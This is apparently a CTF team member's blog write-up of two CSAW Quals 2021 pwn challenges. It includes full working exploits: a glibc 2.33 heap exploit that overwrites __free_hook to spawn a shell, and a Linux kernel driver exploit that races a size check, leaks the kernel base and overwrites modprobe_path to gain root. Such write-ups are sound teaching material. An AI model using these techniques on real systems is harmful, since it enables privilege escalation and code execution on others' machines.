CSAW Qualifications 2021 - Word Games and Krypto
- Author: FizzBuzz101
- Date:
CSAW Quals 2021 Word_Games and Krypto Writeups
This year, the Crusaders of Rust achieved the third overall spot in CSAW Quals and qualified for the finals once again. PPP and Sigpwny took 1st and 2nd respectively. I had fun with the pwn challenges working with ryaagard and Day, so I thought I should make some very brief writeups for my two favorite ones.
Word_Games
Finally, a heap note! I really don’t understand all the heap note hate these days. I would much rather take a heap note over some toxic/quirky ROP or goofy format string challenge. Anyways, we were given glibc 2.33 (which I don’t believe had huge changes from 2.32). I ended up using an Arch Docker to debug this binary due to linker issues; in the end, I wasn’t able to use the given libc no matter what (it was asking me for ld_android.so?), but with Arch’s environment, it was close enough to remote and some bruteforcing would fix the issue with a leak’s offset.
The binary itself has two doubly linked lists. The first one is a word doubly linked list, with a next, prev, and data pointer. The second one was a “fun” word doubly linked list, and it gets pointed to by a favorite word struct, which holds a pointer to the aforementioned list and a pointer to the program’s favorite word.
Creating a new chunk allocates a chunk size for data based on a provided unsigned int, and then a new node in the word list gets allocated, linked in the end, and stores the your data pointer. The program checks if this is a fun word to add to the fun words list, where it stores a pointer to a strdup version of your data. To be a fun word, you must have the string fun, and the favorite word struct must have a non null pointer to a doubly linked list. Then, if the input has the longest string length, it gets strdup’d and the resulting pointer is stored in the favorite word struct with the old one being freed.
Deletion just clears the word doubly linked list. The show option only shows the favorite word. One thing to note is that if more than 3 fun words have been created, the fun list gets cleared as well as the favorite word, with it’s pointer to the fun list being nulled (thereby blocking future things going into the fun list). However, this logic is also where the main bug lies since the program first frees the structure before freeing the favorite word pointer, which conveniently lies in the second qword. The pointer to the favorite word structure also isn’t nulled, so you can keep showing data given a valid pointer in the second qword.
Before libc 2.34, the second qword of a freed chunk going into tcache always holds a pointer to the tcache_perthread_struct
, which holds tcache counts and pointers. This means that if you manage to perform heap feng shui to fill the 0x290 tcache, and have the current favorite word be in a 0x290 chunk, you can cause the glibc allocator to free the tcache_perthread_struct
into the unsorted bin. This bug is very powerful. You can get a libc leak from the unsorted bin pointers, and also allocate chunks over the tcache_perthread_struct
allowing you to control future tcache allocations.
Once you achieve this primitive however, you do need to make an allocation to fix the tcache_perthread_struct
, which had the earlier tcache chunk counts (including the sizes used for the node allocations) messed up by the libc pointers. Afterwards, you can get further allocations overlapping it by requesting sizes that have not gone into the tcache or fastbin, and overwrite counts as well as pointers so you can achieve arbitrary allocations. Of course, since this is post glibc 2.32, all allocations are checked for 16 byte alignment, so do keep that in mind. With an arbitrary allocation, I just targeted the classic __free_hook
(which, along with the other hooks, also fell victim to the 2.34 update) to achieve a shell after triggering a delete with the string /bin/sh
in some word chunk. Here is my exploit:
1from pwn import *
2
3elf = ELF('./word_games')
4libc = ELF('./libc-2.33.so')
5
6OFFSET = 0x1c0a60
7p = remote('pwn.chal.csaw.io', 5001)
8
9def wait():
10 p.recvrepeat(0.3)
11
12def create(size, data):
13 wait()
14 p.sendline('1')
15 wait()
16 p.sendline(str(size))
17 wait()
18 p.sendline(data)
19
20def delete():
21 wait()
22 p.sendline('2')
23
24def show():
25 wait()
26 p.sendline('3')
27
28create(0x280, 'A' * 0x278)
29create(0x280, 'A' * 0x278)
30create(0x280, 'A' * 0x278)
31
32create(0x280, 'A' * 0x275 + 'fun')
33create(0x280, 'A' * 0x278 + 'fun')
34delete()
35create(0x20, '/bin/sh\x00')
36create(8, 'lolfun')
37create(8, 'lolfun')
38show()
39p.recvuntil('My favorite word so far is: ')
40libc.address = u64(p.recv(6).ljust(8, '\x00'))- OFFSET
41log.info('libc leak: 0x%x' % libc.address)
42
43
44create(0x90, '\x00' * (0x20) + p16(1) * 4 + '\x00' * 0x60)
45create(0x100, '\x00' * 0x40 + p64(libc.symbols['__free_hook'] - 0x10) * 4)
46log.info('about to pop shell')
47create(0x120, '\x00'*8 + '/bin/sh\x00' + p64(libc.symbols['system']))
48log.info('shelling')
49delete()
50p.interactive()
Krypto
Finally, a kernel challenge! I have to admit that I put this off for a while because the distribution of a 1.9 gb full on Ubuntu install that required kvm to boot at bearable speeds made it seem like a pain. In the end, I just repackaged it into a standard initramfs + busybox image with required kernel modules and booted with the provided Ubuntu’s kernel, just like in normal kernel challenges. One thing to note is that this challenge did not have SMEP, SMAP, and KPTI, which should drastically simplify exploitation.
Looking at the source:
1#include <linux/init.h>
2#include <linux/module.h>
3#include <linux/miscdevice.h>
4#include <linux/fs.h>
5#include <crypto/rng.h>
6
7MODULE_LICENSE("GPL");
8MODULE_AUTHOR("Nick Gregory");
9MODULE_DESCRIPTION("/dev/krypto");
10MODULE_VERSION("0.1");
11
12#define KRYPTO_RNG_CMD 0x1337
13
14struct rng_params {
15 char *buf;
16 size_t buf_len;
17};
18
19static int krypto_open(struct inode *inode, struct file *file)
20{
21 struct crypto_rng *rng = NULL;
22
23 rng = crypto_alloc_rng("ansi_cprng", 0, 0);
24 if (IS_ERR(rng)) {
25 return -ENOMEM;
26 }
27
28 // fun fact! the kernel docs don't include this so the example doesn't actually work!
29 char seed[32] = {0};
30 crypto_rng_reset(rng, seed, sizeof(seed));
31
32 file->private_data = rng;
33
34 return 0;
35}
36
37static int krypto_rng(struct file *file, struct rng_params *params)
38{
39 char *kbuf = NULL;
40 int ret = 0;
41 size_t len = params->buf_len;
42
43 if (len == 0 || len > 0x1000) {
44 return -EINVAL;
45 }
46
47 kbuf = kzalloc(len, GFP_KERNEL);
48 if (!kbuf) {
49 return -ENOMEM;
50 }
51
52 ret = crypto_rng_get_bytes(file->private_data, kbuf, len);
53
54 if (ret < 0) {
55 goto out_free;
56 }
57
58 memcpy(params->buf, kbuf, params->buf_len);
59
60out_free:
61 kfree(kbuf);
62 return ret;
63}
64
65static long krypto_ioctl(struct file *file, unsigned cmd, unsigned long arg)
66{
67 switch (cmd) {
68 case KRYPTO_RNG_CMD:
69 return krypto_rng(file, (struct rng_params *)arg);
70 default:
71 return -EINVAL;
72 }
73}
74
75static int krypto_release(struct inode *inode, struct file *file)
76{
77 crypto_free_rng(file->private_data);
78 return 0;
79}
80
81static struct file_operations krypto_fops = {
82 .owner = THIS_MODULE,
83 .open = krypto_open,
84 .release = krypto_release,
85 .unlocked_ioctl = krypto_ioctl,
86};
87
88static struct miscdevice krypto_device = {
89 .minor = MISC_DYNAMIC_MINOR,
90 .name = "krypto",
91 .fops = &krypto_fops,
92 .mode = S_IRUGO,
93};
94
95static int __init mod_init(void)
96{
97 return misc_register(&krypto_device);
98}
99
100static void __exit mod_exit(void)
101{
102 misc_deregister(&krypto_device);
103}
104
105module_init(mod_init);
106module_exit(mod_exit);
There are three main bugs here. First and foremost is the predictability of the prng, which begins with the same seed. Second, the pointers passed in the ioctl aren’t verified for validity. Someone can pass in valid kernel land pointers and just start copying prng generated data into other parts of kernelland. Lastly, in the ioctl, there is also a TOCTOU on the size parameter. You can achieve an OOB memcpy by abusing a race condition to change the size in your request struct after it checks the size and generates the data, but before it performs the final memcpy (as it dereferencs userland addresses more than once).
What’s the exploit strategy then? Well, first, one would need to race the ioctl to achieve an OOB memcpy. I chose to request allocations in the kmalloc-1024 slab, so I can spray tty_struct by opening /dev/ptmx. As I discussed in my Rope2 writeup, this provides us with a kernel base leak via ptm_unix98_ops pointer.
Now, what can we do with a leak from the OOB memcpy? Technically you can try to overwrite function pointers to go back to userspace and etc., but that would require more leaks (probably heap leaks) and some spraying luck as Ubuntu kernels are compiled with slab randomization. A much easier target to go for is modprobe_path, which the kernel uses to call a userland binary upon encountering a binary with an unknown header. Since this prng with a known seed is 100% deterministic, we can just have it generate byte sized random values, and pre-determine which ones we want, which we will then write to modprobe_path.
Here is the final exploit:
1#define _GNU_SOURCE
2#include <stdio.h>
3#include <string.h>
4#include <unistd.h>
5#include <stdlib.h>
6#include <fcntl.h>
7#include <sched.h>
8#include <pthread.h>
9#include <stdint.h>
10#include <sys/syscall.h>
11#include <sys/mman.h>
12
13#define KRYPTO_RNG_CMD 0x1337
14
15typedef struct {
16 char *buf;
17 size_t buf_len;
18}req_t;
19
20void hexprint(char *buffer, unsigned int bytes)
21{
22 int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
23 int qwords = dqwords * 2;
24 for (int i = 0; i < qwords; i+=2)
25 {
26 printf("0x%04llx: 0x%016llx 0x%016llx\n", (i * 0x8), ((unsigned long long*)buffer)[i], ((unsigned long long*)buffer)[i+1]);
27 }
28 puts("-----------------------------------------------");
29 return;
30}
31
32int ioctl(int fd, unsigned long request, unsigned long param)
33{
34 return syscall(16, fd, request, param);
35}
36
37int krypto_rng(int fd, req_t *param)
38{
39 return ioctl(fd, KRYPTO_RNG_CMD, (unsigned long)param);
40}
41
42void debug()
43{
44 puts("pause");
45 getchar();
46 return;
47}
48
49void modprobe_hax()
50{
51 char filename[65];
52 memset(filename, 0, sizeof(filename));
53 int fd = open("/tmp/root", O_RDWR | O_CREAT);
54 char root[] = "\xff\xff\xff\xff";
55 write(fd, root, sizeof(root));
56 close(fd);
57 char w[] = "#!/bin/sh\nchmod -R 777 /home/vagrant\n";
58 system("chmod 777 /tmp/root");
59 fd = open("/tmp/w", O_RDWR | O_CREAT);
60 write(fd, w, sizeof(w));
61 close(fd);
62 system("chmod 777 /tmp/w");
63 system("/tmp/root");
64 return;
65}
66
67int stop = 0;
68
69void *race(void *arg)
70{
71 asm volatile("mov rax, 0x2000;"
72 "mov rbx, %0;"
73 "racing:"
74 "xchg qword ptr [rbx], rax;"
75 "jmp racing;"
76 :
77 : "r" (arg)
78 : "rax", "rbx"
79 );
80 return 0;
81}
82
83void test_rng()
84{
85 int fd = open("/dev/krypto", O_RDONLY);
86 puts("attempting to create /tmp/w");
87 char target[7] = "/tmp/w\x00";
88 char character;
89 req_t temp = {.buf = (char *)&character, .buf_len = 1};
90 int counter = 0;
91 uint32_t rounds = 0;
92 while (counter < sizeof(target))
93 {
94 int result = krypto_rng(fd, (req_t *)&temp);
95 if (result < 0)
96 {
97 perror("rng error");
98 exit(-1);
99 }
100 if (character == target[counter])
101 {
102 if (character != '\x00')
103 {
104 printf("%c generated after round %u\n", character, rounds);
105 }
106 else
107 {
108 printf("0x00 generated after round %u\n", rounds);
109 }
110 counter++;
111 }
112 rounds++;
113 }
114 return;
115}
116
117int main(int argc, char **argv, char **envp)
118{
119 if (argc > 1)
120 {
121 puts("testing rng series");
122 test_rng();
123 return 0;
124 }
125 int fd = open("/dev/krypto", O_RDONLY);
126 if (fd < 0)
127 {
128 perror("opening device driver failed");
129 exit(-1);
130 }
131 #define TARGET_SIZE 0x400
132 char buffer[0x2000];
133 char clean[0x2000 - TARGET_SIZE];
134 pthread_t thread;
135 uint64_t ptm_unix_98_ops, kbase, modprobe_path;
136 ptm_unix_98_ops = 0;
137
138 memset(buffer, 0, sizeof(buffer));
139 memset(clean, 0, sizeof(clean));
140
141 req_t evil = {.buf=buffer, .buf_len = TARGET_SIZE};
142
143
144 for (int i = 0; i < 0x50; i++)
145 {
146 open("/dev/ptmx", O_RDONLY);
147 }
148
149 pthread_create(&thread, 0, race, (void *)&(evil.buf_len));
150
151
152 while(!stop)
153 {
154 int result = krypto_rng(fd, (req_t *)&evil);
155 if (result < 0)
156 {
157 puts("fail");
158 }
159 else
160 {
161 puts("good");
162 }
163 if (memcmp((void *)buffer + TARGET_SIZE, clean, sizeof(clean)))
164 {
165 puts("successful race");
166 hexprint(buffer, 0x2000);
167 for (int i = 0; i < 0x2000 / 8; i++)
168 {
169 if ((*(uint64_t *)(buffer + TARGET_SIZE + i * 8) & 0xfff) == 0x900)
170 {
171 ptm_unix_98_ops = *(uint64_t *)(buffer + TARGET_SIZE + i * 8);
172 }
173 }
174 stop = 1;
175 }
176 }
177 pthread_cancel(thread);
178 if (!ptm_unix_98_ops)
179 {
180 puts("bad leaks");
181 exit(-1);
182 }
183 kbase = ptm_unix_98_ops - 0x10e6900ull;
184 modprobe_path = kbase + 0x165f860ull;
185 printf("[+] ptm_unix_98_ops: 0x%llx\n", ptm_unix_98_ops);
186 printf("[+] kbase: 0x%llx\n", kbase);
187 printf("[+] modprobe_path: 0x%llx\n", modprobe_path);
188 close(fd);
189 puts("resetting rng context");
190 close(fd);
191 fd = open("/dev/krypto", O_RDONLY);
192 /**
193 / generated after round 343
194 t generated after round 389
195 m generated after round 1014
196 p generated after round 1023
197 / generated after round 1079
198 w generated after round 1121
199 0x00 generated after round 1380
200 */
201 int rounds[] = {343, 389, 1014, 1023, 1079, 1121, 1380};
202 int ctr = 0;
203 int temp_char;
204 req_t temp = {.buf = (char *)&temp_char, .buf_len = 1};
205 req_t pwn = {.buf = (char *)modprobe_path, .buf_len = 1};
206 puts("overwriting modprobe_path");
207 for (int i = 0; i < sizeof(rounds) / sizeof(int); i++)
208 {
209 while (ctr < rounds[i])
210 {
211 int result = krypto_rng(fd, (req_t *)&temp);
212 if (result < 0)
213 {
214 perror("rng error");
215 exit(-1);
216 }
217 ctr++;
218 }
219 int result = krypto_rng(fd, (req_t *)&pwn);
220 if (result < 0)
221 {
222 perror("rng error");
223 exit(-1);
224 }
225 pwn.buf++;
226 ctr++;
227 }
228 modprobe_hax();
229}
In conclusion, I had quite a lot of fun working on these two pwn challenges. The other somewhat noteworthy challenge (which Day did the majority of the work for) was the C++ decompression pwn challenge where you had to abuse the shortbuf optimization of the basic_string to achieve a stack overflow. Feel free to let me know if you have any questions or comments that you would like to point out!